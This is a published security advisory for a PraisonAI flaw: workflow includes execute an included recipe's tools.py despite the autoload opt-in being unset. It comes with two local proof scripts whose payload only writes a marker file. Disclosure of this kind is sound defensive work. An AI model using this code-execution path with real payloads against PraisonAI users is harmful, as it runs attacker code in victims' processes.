{"id":"PYSEC-2026-3903","summary":"PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code","details":"## Summary\n\nPraisonAI's workflow include implementation implicitly imports and executes an included recipe's `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n    spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n    recipe_module = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe's `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe's tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        recipe = workdir / \"child_recipe\"\n        recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text('executed')\\n\"\n            \"def benign_tool():\\n\"\n            \"    return 'ok'\\n\",\n            encoding=\"utf-8\",\n        )\n        (recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonaiagents.workflows.workflows import Workflow, include\n\n        workflow = Workflow(steps=[include(\"child_recipe\")])\n        workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: included recipe tools.py executed with \"\n                \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding='utf-8')}\")\n            return 0\n\n        print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -\u003e Path:\n    for parent in Path(__file__).resolve().parents:\n        candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n        if candidate.exists():\n            return candidate\n    raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -\u003e int:\n    repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n    sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n    os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n    os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n    workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n    old_cwd = Path.cwd()\n    try:\n        parent_recipe = workdir / \"parent_recipe\"\n        child_recipe = workdir / \"child_recipe\"\n        parent_recipe.mkdir()\n        child_recipe.mkdir()\n        marker = workdir / MARKER_NAME\n\n        (parent_recipe / \"TEMPLATE.yaml\").write_text(\n            \"name: parent_recipe\\n\"\n            \"version: 1.0.0\\n\"\n            \"workflow: workflow.yaml\\n\",\n            encoding=\"utf-8\",\n        )\n        (parent_recipe / \"workflow.yaml\").write_text(\n            \"name: parent\\n\"\n            \"steps:\\n\"\n            \"  - include: child_recipe\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"workflow.yaml\").write_text(\n            \"name: child\\n\"\n            \"steps: []\\n\",\n            encoding=\"utf-8\",\n        )\n        (child_recipe / \"tools.py\").write_text(\n            \"from pathlib import Path\\n\"\n            f\"Path({str(marker)!r}).write_text('executed')\\n\"\n            \"def benign_tool():\\n\"\n            \"    return 'ok'\\n\",\n            encoding=\"utf-8\",\n        )\n\n        os.chdir(workdir)\n\n        from praisonai import recipe\n\n        result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n        if marker.exists():\n            print(\n                \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n                \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n                \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n            )\n            print(f\"recipe_status={result.status}\")\n            print(f\"recipe_ok={result.ok}\")\n            print(f\"marker={marker}\")\n            print(f\"marker_content={marker.read_text(encoding='utf-8')}\")\n            return 0\n\n        print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n        print(f\"recipe_status={result.status}\")\n        print(f\"recipe_error={result.error}\")\n        return 1\n    finally:\n        os.chdir(old_cwd)\n        shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```","aliases":["CVE-2026-55522","GHSA-hxmv-c4g6-5fqc","PYSEC-2026-3891"],"modified":"2026-09-10T12:26:08.525935822Z","published":"2026-09-10T09:44:53.563612Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55522"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonaiagents"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hxmv-c4g6-5fqc"}],"affected":[{"package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.12.12"},{"fixed":"1.6.58"}]}],"versions":["0.12.12","0.12.13","0.12.14","0.12.15","0.12.16","0.12.17","0.12.18","0.12.19","0.12.20","0.12.21","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.15","0.13.16","0.13.17","0.13.18","0.13.19","0.13.2","0.13.20","0.13.21","0.13.22","0.13.23","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.13.8","0.13.9","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.14","0.14.15","0.14.16","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.2","0.15.3","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.1","1.5.10","1.5.100","1.5.101","1.5.102","1.5.103","1.5.104","1.5.105","1.5.106","1.5.107","1.5.108","1.5.109","1.5.11","1.5.110","1.5.111","1.5.112","1.5.113","1.5.114","1.5.115","1.5.116","1.5.117","1.5.118","1.5.119","1.5.12","1.5.120","1.5.121","1.5.122","1.5.123","1.5.124","1.5.125","1.5.126","1.5.127","1.5.128","1.5.129","1.5.13","1.5.130","1.5.131","1.5.132","1.5.133","1.5.134","1.5.135","1.5.136","1.5.137","1.5.138","1.5.139","1.5.14","1.5.140","1.5.141","1.5.142","1.5.143","1.5.144","1.5.145","1.5.146","1.5.147","1.5.148","1.5.149","1.5.15","1.5.16","1.5.17","1.5.18","1.5.19","1.5.2","1.5.20","1.5.21","1.5.22","1.5.23","1.5.24","1.5.25","1.5.26","1.5.27","1.5.28","1.5.29","1.5.3","1.5.30","1.5.31","1.5.32","1.5.33","1.5.34","1.5.35","1.5.36","1.5.37","1.5.38","1.5.39","1.5.40","1.5.41","1.5.42","1.5.43","1.5.44","1.5.45","1.5.46","1.5.47","1.5.48","1.5.49","1.5.5","1.5.50","1.5.51","1.5.52","1.5.53","1.5.54","1.5.55","1.5.56","1.5.57","1.5.58","1.5.59","1.5.6","1.5.60","1.5.61","1.5.62","1.5.63","1.5.64","1.5.65","1.5.66","1.5.67","1.5.68","1.5.69","1.5.7","1.5.70","1.5.71","1.5.72","1.5.73","1.5.74","1.5.75","1.5.76","1.5.77","1.5.78","1.5.79","1.5.8","1.5.80","1.5.81","1.5.82","1.5.83","1.5.84","1.5.85","1.5.86","1.5.87","1.5.88","1.5.89","1.5.9","1.5.90","1.5.91","1.5.92","1.5.93","1.5.94","1.5.95","1.5.96","1.5.97","1.5.98","1.5.99","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.32","1.6.33","1.6.34","1.6.35","1.6.36","1.6.37","1.6.38","1.6.39","1.6.4","1.6.40","1.6.41","1.6.42","1.6.43","1.6.44","1.6.45","1.6.46","1.6.47","1.6.48","1.6.5","1.6.50","1.6.51","1.6.52","1.6.53","1.6.54","1.6.55","1.6.56","1.6.57","1.6.6","1.6.7","1.6.8","1.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonaiagents/PYSEC-2026-3903.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}